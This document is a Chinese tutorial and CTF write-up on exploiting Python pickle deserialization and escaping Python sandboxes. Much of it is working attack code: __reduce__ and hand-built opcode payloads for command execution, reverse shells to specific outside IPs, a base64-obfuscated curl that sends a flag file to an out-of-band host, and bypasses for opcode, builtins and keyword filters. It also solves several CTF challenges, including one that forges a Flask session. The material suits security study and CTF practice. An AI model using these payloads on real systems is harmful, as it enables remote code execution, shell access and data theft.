方法
Pickle包含四种方法,具体如下所示
pickle.dump(obj, file)
//将obj对象进行封存,即序列化,然后写入到file文件中
//注:这里的file需要以wb打开(二进制可写模式)
pickle.load(file)
//将file这个文件进行解封,即反序列化
//注:这里的file需要以rb打开(二进制可读模式)
pickle.dumps(obj)
//将obj对象进行封存,即序列化,然后将其作为bytes类型直接返回
pickle.loads(data)
//将data解封,即进行反序列化
//注:data要求为bytes-like object(字节类对象)
简单来说:
pickle.dumps()
=>seriaize
pickle.loads()
=>unserialize
pickletools工具使用
- 使用pickletools可以方便的将opcode转化为便于肉眼读取的形式
import pickletools
data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."
pickletools.dis(data)
常用opcode
在Python的pickle.py中,我们能够找到所有的opcode及其解释,常用的opcode如下,这里我们以V0版本为例
c | 获取一个全局对象或import一个模块 | c[module]\n[instance]\n | 获得的对象入栈 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 |
N | 实例化一个None | N | 获得的对象入栈 |
S | 实例化一个字符串对象 | S'xxx'\n(也可以使用双引号、\'等python字符串形式) | 获得的对象入栈 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 |
p | 将栈顶对象储存至memo_n | pn\n | 无 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 |
-
c
操作符会尝试import
库,所以在pickle.loads
时不需要漏洞代码中先引入系统库。 - pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如
list.index(3)
、getattr
、dict.get
)才能进行。但是因为存在s
、u
、b
操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有c
、i
。而如何查值也是CTF的一个重要考点。 -
s
、u
、b
操作符可以构造并赋值原来没有的属性、键值对。 - t和(组合使用可以创建元组
全局变量覆盖&实例化对象
#secret.py
secret="123456"
import pickle
import secret
class A():
def __init__(self,age,):
self.age=age
self.name = "m1xi@n"
#命令执行
opcode1=b'''cos
system
(S'whoami'
tR.
'''
#变量覆盖
opcode2=b'''c__main__
secret
(S'secret'
S'Polluted~'
db.
'''
#实例化对象
opcode3=b'''c__main__
A
(I18
tR.
'''
pickle.loads(opcode1)
print(pickle.loads(opcode2).secret)
print("name is "+str(pickle.loads(opcode3).name)+" and age is "+str(pickle.loads(opcode3).age))
命令执行绕过R指令
reduce方法(R)
reduce
调用:被定义之后,当对象被pickle时就会触发
作用:如果接收到的是字符串,就会把这个字符串当成一个全局变量的名称,然后Python查找它并进去pickle
如果接收到的是元组,这个元组应该包含2-6个元素,其中包括:一个可调用对象,用于创建对象,参数5元素,供对象调用
这里给出一个简单的demo
#encoding: utf-8
import os
import pickle
class tttang(object):
def __reduce__(self):
return (os.system,('whoami',))
a=tttang()
payload=pickle.dumps(a)
print(payload)
pickle.loads(payload)
可以看到成功执行命令
也可以反弹shell
import pickle
import os
class tttang(object):
def __reduce__(self):
a="""
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.222.255.142",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(a,))
a = tttang()
pickle.loads(pickle.dumps(a))
也可以用最简单的bash反弹
import pickle
import os
class tttang(object):
def __reduce__(self):
a='__import__(\"os\").popen(\'bash -c \"bash -i >& /dev/tcp/8.130.110.182/2333 0>&1\"\').read()'
return (eval,(a,))
a = tttang()
pickle.loads(pickle.dumps(a))
R指令
b'''cos => 引入模块 os.
system => 引用 system, 并将其添加到 stack.
(S'whoami' => 把当前 stack 存到 metastack, 清空 stack, 再将 'whoami' 压入 stack.
t => stack 中的值弹出并转为 tuple, 把 metastack 还原到 stack, 再将 tuple 压入 stack.
R => system(*('whoami',)).
.''' => 结束并返回当前栈顶元素.
b'''cos
system
(S'whoami'
t
R
.'''
i指令
先获取一个全局函数,然后取一个全局函数,寻找栈中的上一个mark,并组合之间的数据为元组作为参数执行全局函数
b'''(S'whoami'
ios
system
.'''
o指令
寻找上一个MARK,以之间的第一个数据为callable(可调用函数),第二个到第n个数据为参数,执行该函数(或实例化一个对象)
b'''(cos
system
S'whoami'
o.'''
b指令
BUILD = b'b' # call __setstate__ or __dict__.update()
其实就是设置或者更新键值对的操作
将字典
{"__setstate__":os.system}
,压入栈中,并执行b
操作码,,由于此时并没有__setstate__
,所以这里b操作码相当于执行了__dict__.update
,向对象的属性字典中添加了一对新的键值对。如果我们继续向栈中压入命令command,再次执行b
操作码时,由于已经有了__setstate__
,所以会将栈中操作码b
的前一个元素当作state
,执行__setstate__(state)
,也就是os.system(command)
Payload
import pickle
import secret
import pickletools
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
def check(data):
if b'R' in data:
return 'no reduce!'
x = pickle.loads(data)
if (x != Animal(secret.name, secret.age)):
print('not equal')
return
print('well done! {} {}'.format(secret.name, secret.age))
opcode = b'''(c__main__
Animal
S'Casual'
I18
o}(S"__setstate__"
cos
system
ubS"whoami"
b.'''
check(opcode)
pickletools.dis(opcode)
这里用o不用R是因为R
指令的存在,代码在调用 pickle.loads(data)
进行反序列化时不会创建新的 Animal
实例,而是重用先前创建的对象,这在某些情况下可能导致反序列化的结果不如预期。
\x81
r = map(eval,['print("1")'])
print(r)
r.__next__()
m = filter(eval,['print("2")'])
m.__next__()
######################
<map object at 0x0000025653331690>
1
2
我们现在想要构造一个能够被调用的 pickle 反序列化的 payload 的时候,触发的方式就不能是再在后面拼接 __next__()
了,我们需要找一个能够触发 PyIter_Next
的方法,触发PyIter_Next
就能触发next():
bytes.__new__(bytes, map.__new__(map, eval, ['print(1)'])) # bytes_new->PyBytes_FromObject->_PyBytes_FromIterator->PyIter_Next
tuple.__new__(tuple, map.__new__(map, exec, ["print('1')"])) # tuple_new_impl->PySequence_Tuple->PyIter_Next
opcode
opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''
pickle.loads(opcode)
opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''
pickle.loads(opcode)
用到的核心其实就是
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
绕过builtins
思路一:getattr拿get,从globals字典里拿builtins
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
获取所有内置模块
for i in sys.modules['builtins'].__dict__:print(i)
里面有getattr,getattr又可以获取builtins里的所有内置模块
print(builtins.getattr(builtins,'eval'))
#<built-in function eval>
但是getattr里的builtins我们还需要构造出来
print(getattr(builtins,'globals')())
#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000001539169BFE0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\111_pythonstudy\\pickle反序列化\\pker\\test.py', '__cached__': None, 'builtins': <module 'builtins' (built-in)>, 'pickle': <module 'pickle' from 'D:\\python3.11.2\\Lib\\pickle.py'>, 'secret': <module 'secret' from 'D:\\111_pythonstudy\\pickle反序列化\\pker\\secret.py'>, 'sys': <module 'sys' (built-in)>, 'i': 'help'}
可见globals里还有builtins,然后globals返回的还是个字典builtins.globals(),由于pickle不支持索引,还需要用dict.get()获取
builtins.getattr(builtins.dict,'get')
#<method 'get' of 'dict' objects>
(builtins.globals()))
总结:
print(builtins.getattr(builtins,'eval')) 基础形态,getattr第一个参数builtins不能直接用
可以在globals列表里获取builtins:dict.get(builtins.globals(),"builtins"),'eval')
print(builtins.getattr(dict.get(builtins.globals(),"builtins"),'eval')) 替换builtins
dict.get需要获取:builtins.getattr(builtins.dict,"get")
最终payload:
print(builtins.getattr(builtins.getattr(builtins.dict,"get")(builtins.globals(),"builtins"),'eval'))
然后就是写opcode
我们从内往外写
获取get
opcode=b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR.
'''
pickletools.dis(opcode)
result = print(pickle.loads(opcode))
######
<method 'get' of 'dict' objects>
获取globals字典
opcode=b'''cbuiltins
globals
)R.
'''
pickletools.dis(opcode)
result = print(pickle.loads(opcode))
print(result)
或者只用t也行
opcode=b'''cbuiltins
globals
(tR.
'''
pickletools.dis(opcode)
result = print(pickle.loads(opcode))
print(result)
获取builtins模块(组合get和globals)
opcode=b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tR.
'''
然后获取builtins里的eval
opcode=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR.
'''
最后执行
opcode=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''
pickletools.dis(opcode)
result = pickle.loads(opcode)
###########
0: c GLOBAL 'builtins getattr'
18: ( MARK
19: c GLOBAL 'builtins getattr'
37: ( MARK
38: c GLOBAL 'builtins dict'
53: S STRING 'get'
60: t TUPLE (MARK at 37)
61: R REDUCE
62: ( MARK
63: c GLOBAL 'builtins globals'
81: ) EMPTY_TUPLE
82: R REDUCE
83: S STRING 'builtins'
95: t TUPLE (MARK at 62)
96: R REDUCE
97: S STRING 'eval'
105: t TUPLE (MARK at 18)
106: R REDUCE
107: ( MARK
108: S STRING '__import__("os").system("whoami")'
145: t TUPLE (MARK at 107)
146: R REDUCE
147: . STOP
highest protocol among opcodes = 1
mixian\20778
也可以使用p和g使opcode更简洁
opcode=b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'__builtins__'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("whoami")'
tR.'''
思路二:直接用getattribute拿eval
print(builtins.__getattribute__)
print(builtins.__getattribute__('eval'))
builtins.__getattribute__('eval')('__import__(\'os\').system(\'whoami\')')
#########################################################################
<method-wrapper '__getattribute__' of module object at 0x000001BAA8805AD0>
<built-in function eval>
mixian\20778
写opcode
opcode=b'''cbuiltins
__getattribute__
(S'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''
pickletools.dis(opcode)
result = pickle.loads(opcode)
######################################
0: c GLOBAL 'builtins __getattribute__'
27: ( MARK
28: S STRING 'eval'
36: t TUPLE (MARK at 27)
37: R REDUCE
38: ( MARK
39: S STRING '__import__("os").system("whoami")'
76: t TUPLE (MARK at 38)
77: R REDUCE
78: . STOP
highest protocol among opcodes = 0
mixian\20778
无法直接获取builtins原因
这里说一下为什么print(builtins.getattr(builtins,'eval'))
这里面的builtins为什么我们直接拿不到
opcode=b'''cbuiltins
getattr
(cbuiltins
eval
tR.
'''
pickletools.dis(opcode)
result = print(pickle.loads(opcode))
print(result)
################################
0: c GLOBAL 'builtins getattr'
18: ( MARK
19: c GLOBAL 'builtins eval'
34: t TUPLE (MARK at 18)
35: R REDUCE
36: . STOP
highest protocol among opcodes = 0
Traceback (most recent call last):
File "D:\111_pythonstudy\pickle反序列化\pker\test.py", line 31, in <module>
result = print(pickle.loads(opcode))
^^^^^^^^^^^^^^^^^^^^
TypeError: getattr expected at least 2 arguments, got 1
主要就是因为opcode里导入操作符只有c和i,c是导入模块的属性,i是导入模块的方法,但是做不到仅导入模块
绕过关键词过滤
BlackList = [b'\x00', b'\x1e', b'system', b'popen', b'os', b'sys', b'posix']
system可以用eval,exec代替
其实大部分是os,然后就是subprocess和commands.getoutput('whoami')
commands.getstatusoutput('whoami')和pty.spawn('whoami')
这里就可以用pty.spawn('whoami')绕过,不过spawn和exec一样无回显,出网的话可以反弹shell和dnslog数据外带
手搓一下opcode,用pyt必须在linux环境下
opcode='''cbuiltins
eval
(S'__import__("pyt").spawn('whoami')'
tR.'''
反弹shell:
import pickle
import pickletools
opcode=b'''c__builtin__
eval
(S'__import__("pty").spawn([\'bash\',\'-c\',\'bash -i >& /dev/tcp/175.27.229.115/2333 0>&1\'])'
tR.
'''
pickletools.dis(opcode)
result = pickle.loads(opcode)
print(result)
预期解(数据外带):curl -X POST http://ih35a3ca4gdnzzadidp50l7ksby2msah.oastify.com -d $(cat /tmp/flag)
import base64
opcode='''(cbuiltins
eval
S'__import__(\'pty\').spawn([\'bash\',\'-c\',\'echo
Y3VybCAtWCBQT1NUIGh0dHA6Ly9paDM1YTNjYTRnZG56emFkaWRwNTBsN2tzYnkybXNhaC5vYXN0aWZ
5LmNvbSAtZCAkKGNhdCAvdG1wL2ZsYWcp|base64 -d|bash\'])'
o.'''.encode()
print(base64.b64encode(opcode).decode())
Pker的使用
对于很长的opcode,Pker就能派上用场了,Powershell用不了,windows需要用cmd,
D:\111_pythonstudy\pickle反序列化\pker>cmd
Microsoft Windows [版本 10.0.22631.4317]
(c) Microsoft Corporation。保留所有权利。
D:\111_pythonstudy\pickle反序列化\pker>python3 pker.py <a
D:\111_pythonstudy\pickle反序列化\pker\pker.py:11: DeprecationWarning: ast.Num is deprecated and will be removed in Python 3.14; use ast.Constant instead
if isinstance(v, ast.Num):
D:\111_pythonstudy\pickle反序列化\pker\pker.py:13: DeprecationWarning: ast.Str is deprecated and will be removed in Python 3.14; use ast.Constant instead
elif isinstance(v, ast.Str):
D:\111_pythonstudy\pickle反序列化\pker\pker.py:14: DeprecationWarning: Attribute s is deprecated and will be removed in Python 3.14; use value instead
return v.s
b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("whoami")\'\ntR.'
那我们的builtins的绕过说
#编写a.py
import builtins
# print(builtins.getattr(builtins,'eval'))
#
#
# print(builtins.dict.get(builtins.globals(),'__builtins__'))
getattr = GLOBAL('builtins','getattr')
dict = GLOBAL('builtins','dict')
get = getattr(dict,'get')
globals = GLOBAL('builtins','globals')
globals_ = globals()
builtins = get(globals_,'__builtins__')
eval = getattr(builtins,'eval')
eval('__import__("os").system("whoami")')
return
然后pickle.loads()
出错的概率变低很多,这里只用到了GLOBAL,其实还有INST、OBJ
,INST对应b'i',OBJ对应b'o'
以下module都可以是包含`.`的子module
调用函数时,注意传入的参数类型要和示例一致
对应的opcode会被生成,但并不与pker代码相互等价
GLOBAL
对应opcode:b'c'
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL('os', 'system')
输入:module,instance(callable、module都是instance)
INST
对应opcode:b'i'
建立并入栈一个对象(可以执行一个函数):
INST('os', 'system', 'ls')
输入:module,callable,para
OBJ
对应opcode:b'o'
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL('os', 'system'), 'ls')
输入:callable,para
xxx(xx,...)
对应opcode:b'R'
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)
li[0]=321
或
globals_dic['local_var']='hello'
对应opcode:b's'
更新列表或字典的某项的值
xx.attr=123
对应opcode:b'b'
对xx对象进行属性设置
return
对应opcode:b'0'
出栈(作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)
Pker:全局变量覆盖
覆盖直接由执行文件引入的secret模块中的name与category变量:
secret=GLOBAL('__main__', 'secret')
# python的执行文件被解析为__main__对象,secret在该对象从属下
secret.name='1'
secret.category='2'
Pker:命令执行
通过b'R'调用:
s='whoami'
system = GLOBAL('os', 'system')
system(s) # `b'R'`调用
return
通过b'i'调用:
INST('os', 'system', 'whoami')
通过b'c'与b'o'调用:
OBJ(GLOBAL('os', 'system'), 'whoami')
多参数调用函数
INST('[module]', '[callable]'[, par0,par1...])
OBJ(GLOBAL('[module]', '[callable]')[, par0,par1...])
pker:实例化对象
INST(Instantiation)实例化,既然叫这个名字,当然可以用于实例化对象
#test.py
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
animal = INST('__main__', 'Animal','1','2')
return animal
# 或者
animal = OBJ(GLOBAL('__main__', 'Animal'), '1','2')
return animal
也可以先实例化再赋值,这里可以把INST完全看成是实例化:
animal = INST('__main__', 'Animal')
animal.name='1'
animal.category='2'
return animal
Pker进阶
HZNUCTF ezpickle--R操作码命令执行
import base64
import pickle
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()
@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"
@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename').replace("flag", "????")
with open(filename, 'r') as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
可以看到明显的反序列化标志,os替换为空可以双写绕过
无回显,且不出网,将输出写到文件,通过readFile路由读取
exp:
import pickle
from base64 import *
class a(object):
def __reduce__(self):
return eval,("__import__('os').system('env|tee 1.txt')",)
a=a()
print(b64encode(pickle.dumps(a).replace(b'os',b'ooss')))
#gASVRAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwoX19pbXBvcnRfXygnb29zcycpLnN5c3RlbSgnZW52fHRlZSAxLnR4dCcplIWUUpQu
5
/calc?payload=
gASVRAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwoX19pbXBvcnRfXygnb29zcycpLnN5c3RlbSgnZW52fHRlZSAxLnR4dCcplIWUUpQu
/readFile?filename=1.txt
Pker
system=GLOBAL('builtins', 'eval')
system('__import__("ooss").system("env|tee 1.txt")')
return
[MTCTF 2022]easypickle--session伪造,手搓opcode
题目给了源码:
import base64
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
密钥为随机值,根目录路由检查是否存在user这个键名{'user':''}
/admin路由检查user键名的值是不是admin {'user':'admin'}
如果是的话,把opcode进行替换操作,并且过滤掉了R i o b,然后反序列化
这里要先把secret-key爆破出来,flask_unsign爆破
然后通过flask_session_cookie_manager
来伪造session
python3 flask_session_cookie_manager3.py encode -s'444f' -t "{'user':'admin'}"
至此成功把cookie伪造成了admin,接下来就可以进行反序列化的操作了但是过滤了R i o b,只能手搓opcode了
对于反序列化可以选择:
- 命令执行(需要有回显)
- 反弹shell
- curl数据外带
但是这里有逻辑漏洞,其实waf一点用都没有,waf的是a,反序列化的是ser_data
我们只需要替换后绕过waf就好了,替换操作将os替换为Os,这就为我们放出来了o操作码,o操作码和s操作码都不需要换行所以我们将o操作码和s操作码连起来就可以绕过
先看一下s操作码的作用
向字典中添加'key3':'var3'键值对
opcode=b'''(S'key1'
S'var1'
S'key2'
S'var2'
dS'key3'
S'var3'
s.
'''
result = pickle.loads(opcode)
print(result)
###########################################
{'key1': 'var1', 'key2': 'var2', 'key3': 'var3'}
也可以更改字典中的键值对
opcode=b'''(S'key1'
S'var1'
S'key2'
S'var2'
dS'key2'
S'var3'
s.
'''
result = pickle.loads(opcode)
print(result)
###########################################
{'key1': 'var1', 'key2': 'var3'}
所以我们需要先用b生成一个字典,然后再压入一个新的key-value对,我们的命令执行就作为value值压入栈中
opcode=b'''(S'key1'
S'var1'
S'key2'
S'var2'
dS'key2'
(cos
system
S'whoami'
os.
'''
############
mixian\20778
{'key1': 'var1', 'key2': 0}
然后我们使用V进行unicode绕过,V不需要加引号
command = "bash -c 'sh -i >& /dev/tcp/ip/2333 0>&1'"
unicode_encoded = ''.join(f'\\u{ord(c):04x}' for c in command)
print(unicode_encoded)
BalsnCTF:pyshv1
题目不允许存在'.',也就是不能存在二级模块,并且只允许使用sys模块。意味着我们没法进行sys.modules.get('os')
的操作
我们利用sys.modules字典里存在modules本身的特性
所以将sys.modules['sys']=sys.modules
,这样的话sys直接就是sys.modules了,我们就可以
获取sys.modules里的对象了,最终目标是获取modules字典里的os模块,需要先拿get函数
sys.modules.get('os').system('whoami')
这里使用sys.modules['sys']=sys.modules
将sys.modules用sys代替,然后用sys.modules['sys']=sys.get('os')
将sys.modules.get('os')用sys代替
最后执行sys.system('whoami')就行了
modules = GLOBAL('sys','modules')
modules['sys'] = modules
get = GLOBAL('sys','get')
os = get('os')
modules['sys'] = os
system = GLOBAL('sys','system')
system('whoami')
return
BalsnCTF:pyshv2
还是变量名里不能有'.',并且限制只能使用structs
模块,并且structs
模块是个空模块
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
module = __import__(module) # 注意这里调用了__import__
return getattr(module, name)
这里调用了import,正常find_class函数(c操作码)
这是官方文档里的find_class
def find_class(self, module, name):
# Subclasses may override this.
sys.audit('pickle.find_class', module, name)
if self.proto < 3 and self.fix_imports:
if (module, name) in _compat_pickle.NAME_MAPPING:
module, name = _compat_pickle.NAME_MAPPING[(module, name)]
elif module in _compat_pickle.IMPORT_MAPPING:
module = _compat_pickle.IMPORT_MAPPING[module]
__import__(module, level=0)
if self.proto >= 4:
return _getattribute(sys.modules[module], name)[0]
else:
return getattr(sys.modules[module], name)
题目里对module未做任何限制直接import(module)了,我们思路即使劫持import为structs.__getattribute__
,然后我们cstructs/nxxx的时候就会是structs.__getattribute__(structs).xxx
利用structs.__dict__
对structs
赋值新属性structs.structs
为structs.__builtins__
然后xxx就当然是get,get取出builtins字典里的eval
__dict__ = GLOBAL('structs', '__dict__') # structs的属性dict
__builtins__ = GLOBAL('structs', '__builtins__') # 内建函数dict
gtat = GLOBAL('structs', '__getattribute__') # 获取structs.__getattribute__
__builtins__['__import__'] = gtat # 劫持__import__函数
__dict__['structs'] = __builtins__ # 把structs.structs属性赋值为__builtins__
builtin_get = GLOBAL('structs', 'get') # structs.__getattribute__('structs').get
eval = builtin_get('eval') # structs.structs['eval'](即__builtins__['eval']
eval('print(123)')
return
Python沙箱逃逸
在SSTI和原型链污染中其实已经接触很多了,
花式命令执行
os.system('whoami')
os.popen('whoami').read()
# Python2
os.popen2('whoami').read()
os.popen3('whoami').read()
...
subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)
# Python3
subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')
platform.popen('whoami').read()
# Python2
commands.getoutput('whoami')
commands.getstatusoutput('whoami')
# Python2
warnings.linecache.os.system("whoami")
timeit.timeit("__import__('os').system('whoami')", number=1)
bdb.os.system('whoami')
cgi.os.system('whoami')
importlib.import_module('os').system('whoami')
# Python3
importlib.__import__('os').system('whoami')
pickle.loads(b"cos\nsystem\n(S'whoami'\ntR.")
eval("__import__('os').system('whoami')")
exec("__import__('os').system('whoami')")
exec(compile("__import__('os').system('whoami')", '', 'exec'))
# Linux
pty.spawn('whoami')
pty.os.system('whoami')
# 文件操作
open('.bash_history').read()
linecache.getlines('.bash_history')
codecs.open('.bash_history').read()
# Python2
file('.bash_history').read()
types.FileType('.bash_history').read()
commands.getstatus('.bash_history')
# 函数参数
foo.__code__.co_argcount
# Python2
foo.func_code.co_argcount
# 函数字节码
foo.__code__.co_code
# Python2
foo.func_code.co_code
...
getattr(os, 'metsys'[::-1])('whoami')
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
file对象读取敏感文件
object.__subclasses__()[40]('.bash_history').read()
###<built-in method read of file object at 0x10397a5d0>
"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
关键词过滤
# 拼接
"__im"+"port__('o"+"s').sy"+"stem('who"+"ami')"
# 编码
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)+chr(39)+chr(41))
# 倒序
")'imaohw'(metsys.)'so'(__tropmi__"[::-1]
# 属性访问拦截器__getattribute__ + 拼接
().__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals["linecache"].__dict__['o'+'s'].__dict__['system']('ls')
().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')["linecache"].__dict__['o'+'s'].__dict__['system']('l'+'s') # globals被过滤
中括号过滤
# [].__class__.__bases__[0].__subclasses__()[37]
# 将[]的功能用pop,__getitem__代替(实际上a[0]就是在内部调用了a.__getitem__(0))
().__class__.__bases__.__getitem__(0).__subclasses__().pop(37)
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(37)
点号过滤
getattr(getattr(getattr(getattr(getattr((),'__class__'),'__bases__'),'__getitem__')(0),'__subclasses__')(),'pop')(37)
下划线过滤
# _可以用dir(0)[0][0]代替
getattr(getattr(getattr(getattr(getattr((),dir(0)[0][0]*2+'class'+dir(0)[0][0]*2),dir(0)[0][0]*2+'bases'+dir(0)[0][0]*2),dir(0)[0][0]*2+'getitem'+dir(0)[0][0]*2)(0),dir(0)[0][0]*2+'subclasses'+dir(0)[0][0]*2)(),'pop')(37)
参考
-
-
-
-
-
-
-
-
-
-
-